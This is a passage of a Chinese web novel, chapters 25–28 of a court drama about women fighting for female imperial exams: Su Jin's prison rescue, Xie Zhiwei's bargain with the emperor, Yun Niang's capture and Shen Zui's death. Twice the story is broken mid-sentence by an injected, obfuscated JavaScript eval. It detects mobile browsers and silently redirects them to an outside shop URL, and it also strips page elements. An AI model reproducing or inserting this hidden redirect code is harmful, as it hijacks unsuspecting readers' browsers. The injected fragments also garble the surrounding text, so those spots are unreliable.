一盏灯笼出现在黑暗里。提灯笼的人穿着黑衣,面无表情。他身后跟着另一个人,穿着绸衫,笑眯眯的。 刘公公。 苏锦认出了他。皇帝身边最得宠的太监,皇城司的幕后主使。她们这些年,被他盯了无数次。 刘公公走到牢房门口,停下。 他看着苏锦,笑得像只老狐狸。 “苏老板,”他说,“这地方,住得还习惯吗?” 苏锦看着他,没说话。 刘公公挥了挥手。提灯笼的人打开牢门,走进去,把苏锦从地上拎起来,按在墙上。 刘公公走进来,站在她面前。 “苏老板,”他说,“你那账本,咱们找到了。” 苏锦的眼神一凛。 刘公公从怀里摸出一本账本,在她面前晃了晃。 正是她那本真的账本。 右下角,有她亲手做的暗记。 刘公公说:“你以为让阿福调包,就能瞒天过海?阿福那个人,跟了你十年,可你知道他跟谁更久吗?” 苏锦看着他。 刘公公笑了。 “阿福,本来就是皇城司的人。十年前,我们就把他安排到你身边了。” 苏锦的心,像被人狠狠攥了一下。 十年。 阿福跟了她十年。 她最信任的人。 替她挡过刀的人。 叫她“大小姐”的人。 从一开始,就是眼线。 她想起这些年的事。那些她以为只有自己知道的事。那些她以为只有阿福知道的事。 全都在他们手里。 刘公公看着她脸上的表情,笑得更开心了。 “苏老板,你现在知道,什么叫‘背叛’了吧?” 苏锦没有说话。 她只是看着他。 看着那张笑脸。 然后她笑了。 笑得很冷。 “刘公公,”她说,“你知道我这些年,是怎么活下来的吗?” 刘公公愣了一下。 苏锦说:“我靠的就是,被人背叛。” 她看着他。 “我爹背叛我,把我卖了。那些欠我钱的人背叛我,赖账不还。那些我帮过的人背叛我,反过来咬我一口。阿福?他算老几?” 刘公公的笑容僵住了。 苏锦继续说:“你以为一本账本,就能让我跪下来求饶?你以为抓了我,就能让谢知微她们自投罗网?” 她往前凑了凑,压低声音。 “我告诉你,刘公公。那本账本上记的,只是一半。还有一半,在我脑子里。” 刘公公的眼神变了。 “那些人欠我的钱,那些人的把柄,那些人的命。都在我脑子里。你杀了我,他们也活不了。” 刘公公盯着她,盯了很久。 然后他笑了。 “苏老板,你这话,说得真好。可你知道吗,咱们抓你,不是为了让你招供。” 苏锦看着他。 刘公公说:“咱们抓你,是为了让那几个人来救你。” 他转过身,往外走。 走到门口,又停下来,回过头。 “苏老板,好好待着。等你那几位姐妹来了,咱们一起送你们上路。” 他走了。 牢门关上。 黑暗重新笼罩下来。 苏锦靠墙坐着,一动不动。 她在想刘公公的话。 让那几个人来救她。 这是陷阱。 一个专门为她们设的陷阱。 她们来了,就会死。 不来,她就会死。 她选哪个? 她当然希望她们不来。 可她知道,她们一定会来。 沈醉那个疯子,肯定会第一个冲进来。 谢霜寒那把剑,肯定会劈开这座大牢。 花解语那琴弦,肯定会勒死那些挡路的人。 云娘看不见,可她会让人扶着她来。 谢知微——那个女人,肯定会站在最前面,用她那一头白发,替她们挡刀子。 还有白芷。 白芷不在了。 可如果她在,她肯定会说:“苏锦,你这个蠢女人,怎么又被抓了?” 苏锦笑了。 笑着笑着,眼泪流下来。 白芷。 那个蠢女人,死在山神庙后面了。 死在那棵小树旁边。 死在她怀里。 她说,下辈子还让你骂。 可这辈子,还没骂够呢。 苏锦擦干眼泪,站起来。 走到墙边,伸出手,摸着那堵墙。 墙是石头砌的,粗糙,冰凉。 她咬破手指,用血,在墙上写字。 一个字,一个字,慢慢写。 商。 中。 狐。 永。 不。 悔。 六个字,写完了。 她退后一步,看着那六个血字。 血在墙上往下流,流成一道道红色的痕迹。 可她不在乎。 她只是看着那些字。 看着“商中狐”三个字。 看着“永不悔”三个字。 她笑了。 “商中狐,永不悔。”她轻声说,“白芷,你听见了吗?” 没有人回答。 可她知道,白芷听见了。 那个女人,肯定在什么地方,骂她呢。 “蠢女人,用血写什么字?不知道疼吗?” 苏锦笑了。 笑着笑着,她又哭了。 可她没有出声。 只是站在那里,看着那六个字。 看着那些血。 看着那些不后悔。 --- 三天后。 谢知微她们,果然来了。 沈醉第一个冲进来。 她的醉拳,打得那些狱卒满地找牙。 谢霜寒的剑,劈开了牢房的木栅栏。 花解语的琴弦,勒死了那个提灯笼的人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334430|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云娘被阿桑扶着,站在牢房门口。 谢知微走在最后。 她走进牢房,看见苏锦,愣住了。 苏锦靠在墙上,浑身是伤。 可她脸上,带着笑。 “谢相,”她说,“你来了。” 谢知微走过去,蹲下来,看着她。 “你怎么知道我们会来?” 苏锦笑了。 “因为我赌你们会来。” 谢知微看着她,眼眶红了。 “蠢女人。”她说。 苏锦愣了一下。 然后她笑了。 “谢相,你也会骂人?” 谢知微说:“跟白芷学的。” 苏锦的笑,停了一瞬。 然后她笑得更厉害了。 笑着笑着,眼泪流下来。 谢知微扶她起来。 苏锦站起来的时候,忽然指着那堵墙。 “谢相,你看。” 谢知微顺着她的手指看过去。 墙上,有六个血字。 商中狐,永不悔。 谢知微看着那些字,看了很久。 然后她伸出手,轻轻摸了摸。 “好。”她说,“好一个永不悔。” 苏锦说:“这字,留给后人看。让她们知道,商中狐,这辈子,没白活。” 谢知微点点头。 “会的。”她说,“一定会有人看见的。” 她们走出牢房。 外面,沈醉和谢霜寒已经解决了那些狱卒。 花解语抱着琴,站在门口。 云娘被阿桑扶着,等着她们。 六个人,站在刑部大牢的院子里。 阳光照在她们身上。 苏锦抬起头,看着那太阳。 很亮。 亮得刺眼。 可她没躲。 就那么看着。 看着那太阳,像看着那条路。 那条白芷铺的路。 那条她们一起走的路。 “走吧。”谢知微说。 苏锦点点头。 她们走了。 身后,是刑部大牢。 是那堵墙。 是那六个血字。 商中狐,永不悔。 --- 一个月后。 京城,国子监。 那幅“女子科举路”挂在最显眼的地方。 每天都有无数学子来看。 有一天,一个年轻的女子站在那幅绣品前,看了很久。 她旁边的人问:“你在看什么?” 她说:“你看,那些梅花里,有字。” 旁边的人凑过去看。 果然。 那些梅花里,藏着一个个名字。 谢知微。沈醉。谢霜寒。白芷。苏锦。云娘。花解语。 还有一个,是“阿桑”。 还有无数小字,是那些死在路上的姑娘。 那个女子看着那些名字,忽然说:“苏锦是谁?” 旁边的人说:“商中狐。听说她的账本,让十几个贪官落了马。” 女子点点头。 她又问:“那个‘永不悔’呢?” 旁边的人愣住了。 “什么永不悔?” 女子指着那幅绣品的最下面。 那里,绣着六个小字。 商中狐,永不悔。 旁边的人看了,沉默了一会儿。 然后他说:“听说她在牢里,用血写的。” 女子没有再问。 她只是站在那里,看着那六个字。 看了很久。 很久。 风吹过来,那幅绣品轻轻晃动。 那些梅花,像是在点头。 像是在说:永不悔。 26. 反击:谢知微的棋局 承安十一年,六月初一。 朝会。 今天的乾元殿,气氛比往常更加凝重。 文武百官分列两侧,没有人说话,没有人交头接耳。所有人都低着头,盯着自己的脚尖。 因为他们知道,今天要发生大事。 三天前,苏锦从刑部大牢被劫走。皇帝震怒,下令全城戒严,搜捕七绝。 可七绝像是人间蒸发了一样,怎么都找不到。 皇帝坐在龙椅上,脸色阴沉得能滴出水来。 “人呢?”他问,“三天了,你们告诉朕,人找不着?” 刘公公跪在地上,头都不敢抬。 “陛下,她们……她们藏得太深……” 皇帝抓起案上的茶杯,狠狠摔在地上。 “废物!都是废物!” 茶杯碎片溅了一地。 没有人敢说话。 就在这时候,殿外传来一阵喧哗。 “站住!你不能进去!” “来人!拦住她!” 皇帝抬起头,看向殿门。 门被推开。 谢知微站在门口。 她穿着一身朝服,头发梳得一丝不苟,脸上没有任何表情。 身后,是十几个惊慌失措的侍卫。 皇帝看着她,愣住了。 然后他笑了。 笑得很冷。 “谢爱卿,”他说,“你还敢来?” 谢知微走进大殿,一步一步往前走。 走到大殿中央,停下。 她抬起头,看着皇帝。 “陛下,”她说,“臣来了。” 皇帝站起来,慢慢走下御阶。 走到她面前。 “你知不知道,朕下了海捕文书,抓到你就地正法?” 谢知微说:“知道。” 皇帝说:“那你还来?” 谢知微说:“来送陛下一份大礼。” 皇帝愣了一下。 谢知微从袖子里拿出一份奏折,双手呈上。 刘公公接过来,递给皇帝。 皇帝打开,看了一眼。 他的脸色变了。 那是一份自供状。 谢知微在上面写得清清楚楚——她如何勾结江湖女子,如何把持朝政,如何结党营私,如何“祸乱天下”。 每一条,都是死罪。 皇帝看着那份自供状,手都在抖。 “你……你这是什么意思?” 谢知微说:“臣的意思是,臣认罪。” 朝堂上一片哗然。 那些曾经弹劾她的人,面面相觑,不知道她葫芦里卖的什么药。 皇帝盯着她,看了很久。 “谢知微,”他说,“你以为认罪,就能救你那些同党?” 谢知微摇摇头。 “陛下,臣认罪,不是为了救她们。” 皇帝问:“那为什么?” 谢知微说:“为了换一样东西。” 皇帝问:“什么东西?” 谢知微说:“女子科举。” 朝堂上安静了一瞬。 然后有人笑了。 是周延,那个曾经弹劾她的御史。 “谢知微,”他说,“你一个将死之人,还想谈条件?” 谢知微没有理他。 她只是看着皇帝。 “陛下,”她说,“臣认罪。臣是奸臣。臣勾结江湖女子,臣把持朝政,臣结党营私。这些,臣都认。” 她顿了顿。 “可女子科举,不是奸政。” 皇帝看着她。 谢知微说:“那些女学子,她们只是想读书。只是想考试。只是想有一条路走。她们没有错。” 皇帝说:“她们有没有错,不是你说了算。” 谢知微说:“那陛下说了算?” 皇帝不说话。 谢知微从袖子里又拿出一样东西。 是一方帕子。 很普通的帕子,白色的,上面绣着一朵梅花。 她把帕子展开,给皇帝看。 皇帝看了一眼,脸色变了。 那帕子上,绣着密密麻麻的小字。 是密语。 是他和北狄勾结的证据。 “陛下,”谢知微说,“这方帕子,是女学子绣的。这样的帕子,还有很多。每一方帕子上,都绣着不同的内容。” 她的声音很平静。 平静得像在说别人的事。 “如果臣今天死在这里,这些帕子,就会出现在天下人的面前。” 皇帝的手握紧。 “你威胁朕?” 谢知微说:“臣不敢。臣只是想让陛下知道,女子科举,不是奸政。它是这些姑娘的命。” 她往前走了一步。 “陛下可以杀臣。可以杀沈醉,杀谢霜寒,杀白芷,杀苏锦,杀云娘,杀花解语。可以把我们七个人,全都杀了。” 她的眼睛直直地盯着皇帝。 “可那些帕子,杀不完。那些女学子,杀不完。那条路,杀不完。” 皇帝盯着她。 盯了很久。 然后他笑了。 笑得很冷。 “谢知微,”他说,“你知道朕最恨你什么吗?” 谢知微不说话。 皇帝说:“朕最恨的,就是你明明是个女人,却比那些男人都难对付。” 他转过身,走回龙椅。 坐下。 看着满朝文武。 “你们都听见了?”他说,“谢知微认罪了。她承认自己勾结江湖女子,把持朝政,结党营私。你们说,该怎么处置?” 周延站出来。 “陛下,谢知微罪大恶极,理当诛九族!” 其他人纷纷附和。 “对!诛九族!” “凌迟处死!” 皇帝听着那些喊声,忽然笑了。 他举起手,示意他们安静。 然后他看着谢知微。 “谢爱卿,”他说,“你刚才说,要用自己,换女子科举?” 谢知微说:“是。” 皇帝说:“好。朕答应你。” 朝堂上又安静了。 那些喊打喊杀的人,都愣住了。 皇帝说:“女子科举,朕可以保留。可你,谢知微,从今天起,不再是宰相。你的九族,朕可以不诛。可你那些同党,朕一个都不会放过。” 谢知微看着他。 “陛下,臣有一个条件。” 皇帝说:“说。” 谢知微说:“那些女学子,是无辜的。她们只是读书考试,什么都没做错。陛下要杀,杀臣。杀她们,臣不服。” 皇帝沉默了一会儿。 然后他说:“朕可以不杀她们。可她们必须离开京城,永不入朝。” 谢知微点点头。 “好。” 皇帝看着她。 “谢知微,你还有什么话要说?” 谢知微想了想。 然后她笑了。 “陛下,臣只有一句话。” 她看着满朝文武,一字一字说: “我谢知微是奸臣。但女子科举,不是奸政。” 她转过身,往外走。 走到门口,忽然停下来。 回头,看着那张龙椅。 看着那个坐在龙椅上的人。 “陛下,”她说,“您龙椅底下那本书,我娘的血,会一直看着您。” 她走了。 朝堂上,死一般的寂静。 皇帝坐在龙椅上,脸色铁青。 他的手,紧紧握着龙椅的扶手。 握得指节发白。 --- 那天晚上,谢知微回到风月楼废墟。 那六个人都在。 沈醉坐在一块石头上,拎着酒坛。 谢霜寒站在一旁,按着剑柄。 苏锦靠着一根烧焦的柱子,脸色还很苍白。 云娘被阿桑扶着,站在废墟中间。 花解语抱着琴,坐在一块石板上。 她们都看着她。 谢知微走过去,在她们中间坐下。 沈醉递给她一碗酒。 她接过来,喝了。 “谈成了。”她说。 沈醉问:“怎么成的?” 谢知微把朝堂上的事说了一遍。 说到那些帕子的时候,花解语笑了。 “那些帕子,是云娘绣的吧?” 云娘点点头。 “三十二方帕子。每一方上,都绣着皇帝通敌的证据。分藏在三十二个女学子手里。” 苏锦说:“她们知道帕子里是什么吗?” 云 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那里,有一块石板。 石板上,刻着八个字。 女子不死,世道不灭。 她蹲下来,摸着那八个字。 摸了很久。 然后她站起来,转过身,看着她们。 “诸位,”她说,“咱们的棋,还没下完。” 沈醉问:“还要下什么?” 谢知微说:“下最后一步。” 她看着皇城的方向。 “等着吧。很快,就会有人来找咱们。” --- 三天后。 皇帝的密使来了。 他带来一道圣旨。 “奉天承运,皇帝诏曰:谢知微勾结乱党,图谋不轨,罪大恶极。念其曾有功于朝,特免死罪,流放三千里,永世不得回京。其余同党,格杀勿论。” 谢知微听完,笑了。 “格杀勿论?”她说,“好一个格杀勿论。” 她站起来,看着那个密使。 “回去告诉皇帝,就说我谢知微,多谢他不杀之恩。” 密使走了。 沈醉走过来。 “谢相,你真的要去流放?” 谢知微点点头。 沈醉说:“那我们呢?” 谢知微说:“你们走。走得越远越好。” 沈醉摇头。 “我不走。” 谢霜寒说:“我也不走。” 苏锦说:“我也不走。” 云娘说:“我也不走。” 花解语说:“我也不走。” 谢知微看着她们。 眼眶红了。 “你们……你们这是干什么?” 沈醉笑了。 “谢相,”她说,“你说过,咱们七条命,一条船。船不靠岸,你一个人下船,我们怎么办?” 谢知微说不出话。 沈醉走过去,搂着她的肩。 “要死一起死。要走一起走。你别想甩掉我们。” 谢霜寒走过来。 “我欠白芷一条命。她让我活着,不是让我看着你们死。” 苏锦走过来。 “我那账本没了,可我人还在。你们去哪儿,我去哪儿。” 云娘走过来。 “我看不见,可我能听见。你们的声音,我听得见。” 花解语走过来。 “我的琴,还等着你们听呢。” 七个人,站在废墟上。 站在那八个字旁边。 女子不死,世道不灭。 谢知微看着她们,眼泪终于掉下来。 “好。”她说,“好。” 她擦干眼泪,笑了。 “那咱们就一起走。” 她们走了。 走出废墟,走出京城,走进夜色里。 身后,是那八个字。 是那些梅花。 是那条路。 是那个换了活法的世道。 27. 绝望:云娘被捕 第二十六章绝望:云娘被捕 承安十一年,六月初五。 京城西郊,五十里外。 苏锦觉得自己快死了。 从刑部大牢被救出来之后,她就一直在发烧。白芷不在了,没人能给她配药。谢霜寒和沈醉轮流背着她跑,可她的伤口一直在流血,怎么也止不住。 “放我下来。”她说。 谢霜寒没理她,继续往前走。 苏锦说:“谢阁主,放我下来。你们带着我,跑不远的。” 谢霜寒说:“闭嘴。” 苏锦笑了。 笑得咳起来,咳出一口血。 沈醉走过来,给她擦了擦嘴。 “别说话,”沈醉说,“省点力气。” 苏锦看着她。 沈醉的脸,脏得不成样子,可眼睛还是那么亮。 “沈老板,”苏锦说,“你说,白芷那个蠢女人,现在在哪儿?” 沈醉愣了一下。 苏锦说:“她肯定在骂我。骂我怎么又受伤了,骂我怎么不好好养伤,骂我怎么这么不听话。” 沈醉的眼眶红了。 “对,”她说,“她肯定在骂你。” 苏锦笑了。 笑着笑着,眼泪流下来。 “可我听不见了。”她说,“我再也听不见她骂我了。” 沈醉握住她的手。 “听得见的。”她说,“她在你心里骂呢。” 苏锦点点头。 “对。在心里骂。” 谢霜寒继续往前走。 前面是一片树林。穿过树林,再翻过一座山,就能到青石镇。 可她们走不动了。 苏锦烧得越来越厉害,伤口也开始化脓。 谢霜寒把她放下来,靠在树上。 “歇一会儿。”她说。 沈醉去附近找水。 谢霜寒坐在苏锦旁边,看着她。 苏锦闭着眼睛,脸色白得像纸。 “谢阁主,”她忽然开口,“你说,咱们能活着到青石镇吗?” 谢霜寒沉默了一会儿。 然后她说:“能。” 苏锦笑了。 “你说谎的时候,声音会变。” 谢霜寒愣了一下。 苏锦说:“我做了这么多年生意,什么人说什么话,我听得出来。” 谢霜寒不说话了。 苏锦睁开眼睛,看着她。 “谢阁主,”她说,“你们走吧。别管我了。” 谢霜寒说:“不行。” 苏锦说:“我这样,拖累你们。带着我,谁也跑不了。” 谢霜寒看着她。 “白芷用十年命换我活,”她说,“不是为了让我丢下你。” 苏锦愣住了。 谢霜寒说:“她死之前,让我照顾好你。她说,苏锦那个蠢女人,看着精明,其实最傻。” 苏锦的眼泪流下来。 “她……她真这么说?” 谢霜寒点点头。 “她说,让我告诉你,下辈子还让你骂。这辈子,你先骂够了。” 苏锦笑了。 笑着笑着,哭得更厉害了。 “这个蠢女人,”她说,“死了还骂我。” 沈醉回来了。 她找到一点水,还有几颗野果。 她把水喂给苏锦喝,又把野果塞给她。 苏锦吃了两颗,就吃不下了。 “沈老板,”她说,“你们走吧。” 沈醉摇头。 “我不走。” 苏锦说:“你听我说。谢相被流放了。白芷死了。云娘和花解语还不知道在哪儿。咱们三个,不能再全折在这儿。” 沈醉看着她。 苏锦说:“你们活着,就能替我们报仇。你们活着,那条路就能走下去。” 沈醉的眼眶红了。 “那你呢?” 苏锦笑了。 “我?我去找白芷。那个蠢女人,肯定迷路了,我得去带她。” 沈醉说不出话。 谢霜寒站起来。 “走。”她说。 沈醉看着她。 谢霜寒说:“她说的对。咱们活着,才能报仇。” 沈醉咬着牙,站起来。 苏锦看着她们,笑了。 “走吧。”她说,“别回头。” 谢霜寒转身就走。 沈醉走了几步,忽然停下来。 她回过头,看着苏锦。 苏锦靠在树上,脸色白得像纸,可脸上还带着笑。 沈醉没有回头。 她咬着牙,继续往前走。 苏锦靠在树上,听着她们的脚步声越来越远。 直到听不见了。 她才松了一口气。 然后她闭上眼睛,等着。 等死。 可她没有等到死。 等来的是另一个人。 一个穿着粗布衣裳的女人,从树林里走出来。 她看见苏锦,愣住了。 “苏……苏老板?” 苏锦睁开眼睛,看着她。 不认识。 那女人说:“我是青石镇的人。沈老板让我来找您。” 苏锦愣住了。 沈醉? 她不是走了吗? 那女人说:“沈老板说,让您别死。她去找药了。” 苏锦的眼泪流下来。 “这个疯子……”她喃喃说。 那女人把她扶起来,往青石镇走。 苏锦一边走,一边回头看了一眼。 远处,是那片树林。 是谢霜寒和沈醉消失的方向。 也是白芷在的方向。 “白芷,”她轻声说,“你再等等我。” --- 与此同时,京城西郊,三十里外。 云娘带着阿桑,走在另一条路上。 阿桑扶着云娘,一步一步往前走。 “云娘,”阿桑说,“您累不累?咱们歇会儿吧。” 云娘摇摇头。 “不歇。往前走。” 阿桑咬着牙,继续扶着她。 她们走了一天一夜。 第二天傍晚,她们到了一个村子。 村子很小,只有十几户人家。 可村子里,有很多人。 都是女子。 年轻的,年长的,抱着孩子的,背着包袱的。 云娘听见那些声音,停下脚步。 “阿桑,这是……” 阿桑说:“云娘,她们……她们都是女学子。” 云娘愣住了。 那些女学子看见她,也愣住了。 有人认出了她。 “是云娘!绣中魂云娘!” 她们围过来,七嘴八舌地问。 “云娘,您怎么在这儿?” “云娘,谢相真的被流放了吗?” “云娘,我们该怎么办?” 云娘听着那些声音,心里像被刀割一样。 她想起白芷临死前说的话。 “女科……要成……哪怕我死……” 她想起苏锦在牢里用血写下的字。 “商中狐,永不悔。” 她想起谢知微在朝堂上的那句话。 “我谢知微是奸臣,但女子科举,不是奸政!” 她站直了身子。 “阿桑,”她说,“扶我到中间去。” 阿桑把她扶到村子中央的打谷场上。 云娘站在那里,面对着那些女子。 虽然看不见,可她知道,她们都在看着她。 “诸位,”她说,“你们听我说。” 那些女子安静下来。 云娘说:“谢相被流放了。白芷死了。苏锦重伤,生死未卜。谢阁主和沈老板还在逃。花解语不知道去了哪里。” 她的声音很平静。 平静得像在说别人的事。 “可你们知道吗,她们做的这一切,是为了什么?” 没有人说话。 云娘说:“是为了你们。为了让你们有书读,有路走,有活法。” 她往前走了一步。 “我眼睛瞎了二十多年。我看不见你们的脸,可我能听见你们的声音。你们的声音里,有害怕,有不甘,有不服。” “这就够了。” “害怕,说明你们知道危险。不甘,说明你们不想认命。不服,说明你们还想拼。” 她举起手,指着天空。 “你们看见了吗?那条路,是她们用命铺的。白芷用命铺的。谢相用命铺的。苏锦用命铺的。谢阁主用命铺的。沈老板用命铺的。花解语用命铺的。我,也用命铺的。” “你们要走下去。替她们走下去。替那些死了的姑娘走下去。” 那些女子哭了。 可也有人站了出来。 “云娘,我们跟您走!” “对!我们跟您走!” 云娘摇摇头。 “不。你们不能跟我走。你们要自己走。” 她顿了顿。 “往南走。翻过前面那座山,有一条小路。走三天,就能到江南。那里有苏锦的人,会接应你们。” 那些女子愣住了。 “云娘,那您呢?” 云娘笑了。 “我?我留下来。替你们引开那些追兵。” 阿桑急了。 “云娘!不行!” 云娘按住她的手。 “阿桑,你带她们走。” 阿桑摇头,眼泪掉下来。 “我不走!我走了您怎么办?” 云娘说:“我没事。他们抓的是我,不是你们。你们走了,我就放心了。” 阿桑跪下来,抱着她的腿。 “云娘!我不走!您让我留下!” 云娘蹲下来,摸着她的脸。 “阿桑,”她轻声说,“你忘了?你替我挡过刀。那次你差点死了。” 阿桑哭着点头。 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334432|199218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘说:“那次我就发誓,再也不让你替我挡刀了。” 她站起来。 “听话。带她们走。” 阿桑跪在地上,哭得说不出话。 那些女子也跪下来。 “云娘!我们不走!我们要跟您一起!” 云娘听着那些声音,眼眶红了。 可她没让眼泪掉下来。 “起来。”她说,“都起来。” 没有人动。 云娘说:“你们跪在这儿,是想让我白死吗?” 那些女子愣住了。 云娘说:“白芷死了。她死的时候,拉着我的手说,女科要成,哪怕她死。谢相被流放了。她走之前,让那些帕子藏在你们手里。苏锦在牢里用血写了六个字——商中狐,永不悔。现在她重伤,能不能活下来都不知道。” 她的声音开始发抖。 “她们把命都搭进去了,是为了什么?是为了让你们跪在这儿哭吗?” 那些女子慢慢站起来。 云娘说:“走。往南走。活下来。读书。考试。当官。把那条路走下去。” 阿桑站起来,擦干眼泪。 “云娘,”她说,“您的话,我记住了。” 云娘点点头。 “好。走吧。” 阿桑带着那些女子,往南走。 走出很远,她回头看了一眼。 云娘还站在那里。 一个人。 孤零零的。 站在打谷场上。 风吹过来,她的衣裳在飘。 阿桑的眼泪又掉下来。 可她没停。 继续走。 云娘站在那里,听着那些脚步声越来越远。 直到听不见了。 她才松了一口气。 然后她听见了别的声音。 马蹄声。 很多马蹄声。 从四面八方涌来。 她笑了。 “来了。”她轻声说。 官兵把她围住。 为首的是个校尉,骑在马上,居高临下地看着她。 “你就是云娘?那个绣花的瞎子?” 云娘抬起头,“看”着他。 “是。”她说。 校尉笑了。 “抓的就是你。带走!” 两个官兵冲上来,按住云娘。 云娘没有挣扎。 她只是站在那里,任由他们把自己绑起来。 校尉有些意外。 “你不跑?不求饶?” 云娘笑了。 “跑?”她说,“我一个瞎子,往哪儿跑?” 校尉愣了一下。 云娘说:“求饶?你们会饶我吗?” 校尉不说话了。 云娘被押上马车。 马车动起来,往京城的方向走。 她坐在车里,听着车轮的声音。 听着马蹄的声音。 听着风声。 她想起很多人。 想起娘。 想起师父。 想起谢知微,沈醉,谢霜寒,白芷,苏锦,花解语。 想起阿桑。 想起那些女学子。 她笑了。 “都在。”她轻声说,“都还在。” --- 刑部大牢。 云娘被推进一间牢房。 她摔在地上,膝盖磕破了,血流出来。 可她没喊疼。 只是摸索着爬起来,靠墙坐着。 狱卒在外面笑。 “瞎子,好好待着吧。过几天就送你上路。” 云娘没理他。 她坐在黑暗里,一动不动。 坐了很久。 然后她伸出手,摸索着那堵墙。 墙是石头砌的,粗糙,冰凉。 她从怀里摸出一样东西。 是一根绣针。 很小的一根针,是阿桑偷偷塞给她的。 她说,云娘,您留着。万一用得着呢。 云娘握着那根针,笑了。 阿桑那个丫头,总是替她想这么多。 她把针攥在手里,攥了很久。 然后她站起来,走到墙边。 用那根针,在墙上刻字。 一个字,一个字,慢慢刻。 女子科举,永存。 六个字,刻完了。 她退后一步,伸出手,摸着那些刻痕。 摸着摸着,她笑了。 “女子科举,永存。”她轻声说,“白芷,你听见了吗?” 没有人回答。 可她知道,白芷听见了。 那个女人,肯定在什么地方,看着她呢。 她摸索着回到墙边,坐下。 等着。 等死。 或者等人来救她。 她不知道等来的是什么。 可她不怕。 因为她已经活了很久了。 够久了。 28. 觉醒:沈醉的醉拳 承安十一年,六月初九。 菜市口。 云娘被押上刑台的时候,沈醉正躲在人群里。 她浑身是伤,脸上抹了灰,穿着一身破衣裳,看起来像个要饭的。可她的眼睛,一直盯着刑台上那个盲眼的女人。 云娘。 三天前,她在青石镇听到消息:云娘被捕,三日后问斩。 谢霜寒要跟她一起来。她不让。 “你留下照顾苏锦,”她说,“我一个人去。” 谢霜寒看着她。 “你会死的。” 沈醉笑了。 “死就死。老娘活了三十多年,够本了。” 她走了。 一个人,一坛酒,一双拳头。 走了三天三夜。 跑到京城的时候,她的鞋都磨破了,脚上全是血泡。可她没有停。 因为她知道,云娘在等她。 现在她站在人群里,看着刑台上的云娘。 云娘跪在那里,头发散乱,脸上有伤,可她的背挺得直直的。 刽子手站在她旁边,刀已经举起来了。 监斩官坐在台上,正要开口下令。 沈醉把手里的酒坛往地上一摔。 “砰——” 酒坛碎了,酒溅了一地。 人群骚动起来。 监斩官站起来,指着她喊:“什么人!” 沈醉没有回答。 她只是往前走。 一步,两步,三步。 那些官兵冲上来,被她一拳一个,打飞出去。 她的拳头,快得像风,重得像锤。 醉拳。 她师父教的。 师父说,醉拳不是真醉,是装醉。装得像,敌人就信;敌人信了,你就赢了。 可她今天没有装。 她是真的醉了。 醉得什么都不怕。 醉得什么都敢拼。 醉得—— 只想把那个女人救下来。 “拦住她!快拦住她!” 更多的官兵冲上来。 沈醉的拳头更快了。 她像一条游龙,在人群中穿梭。 左一拳,右一脚,翻身踢,回身肘。 每一招,都有人倒下。 每一招,都有人惨叫。 她的拳头上全是血,有自己的,也有敌人的。 可她还在打。 边打边笑。 “来啊!再来啊!老娘还没过瘾!” 云娘跪在刑台上,听见了那个声音。 那个笑声。 她愣住了。 “沈老板……”她喃喃说,“是你吗?” 沈醉听见了。 她回过头,看着刑台上的云娘。 “云娘!”她喊,“别怕!老娘来救你!” 刽子手举着刀,不知道该砍还是该等。 监斩官急了:“砍!快砍!” 刽子手咬着牙,一刀砍下去。 沈醉看见了。 她不知道哪来的力气,一脚踢开面前的官兵,冲上刑台。 一拳打在刽子手脸上。 刽子手飞出去,刀落在地上。 沈醉扶起云娘。 “走!” 她们跑下刑台。 可刚跑出几步,沈醉忽然停下来。 一支箭,射中了她的后背。 她低头看了一眼。 箭杆从她胸口穿出来。 血,一滴一滴往下流。 云娘感觉到她的手松了一下。 “沈老板?”她问,“你怎么了?” 沈醉没说话。 她只是把云娘往前一推。 “跑……”她说,“往前跑……阿桑在前面等你……” 云娘愣住了。 “沈老板!你……” 沈醉笑了。 “老娘走不动了,”她说,“你自己跑。” 云娘不肯走。 “我不走!我背你!” 沈醉推她。 “快跑!别让老娘白死!” 云娘的眼泪流下来。 她看不见沈醉的脸,可她听见了那个声音。 那个声音,还是那么疯,那么狂,那么—— 像沈醉。 “沈老板,”她说,“你的酒,我还没喝够呢。” 沈醉笑了。 笑着笑着,咳出一口血。 “下辈子,”她说,“老娘请你喝。” 云娘咬着牙,转身就跑。 阿桑从人群里冲出来,扶住她。 “云娘!这边!” 她们消失在人群里。 沈醉站在那里,看着她们跑远。 越来越多的官兵围上来。 她没有跑。 只是靠着墙,慢慢坐下。 血从胸口流出来,染红了她的衣裳。 她从怀里摸出一样东西。 是那只酒壶塞。 梅花形状的,用半块玉佩雕成的。 上面刻着五道痕。 每一道痕,都是一次醉。 她看着那些刻痕,笑了。 “师父,”她轻声说,“醉儿来找你了。” 她又想起另一个人。 花解语。 那个叫她“师姐”的女人。 那个和她各持半块玉佩的女人。 那个已经死了的女人。 “师妹,”她说,“师姐来陪你了。” 官兵围上来,举着刀,却没有人敢上前。 沈醉抬起头,看着他们。 笑了。 “来啊,”她说,“老娘等着呢。” 没有人动。 沈醉的手垂下去。 眼睛慢慢闭上。 嘴角,还带着笑。 --- 云娘没有回头。 她一直跑,一直跑。 阿桑扶着她,跑过一条街,又一条街。 跑到城门口的时候,云娘忽然停下来。 “阿桑,”她说,“沈老板呢?” 阿桑不说话。 云娘的手在发抖。 “她……她没跟上来?” 阿桑的眼泪掉下来。 “云娘,沈老板她……” 云娘站住了。 她站在城门口,一动不动。 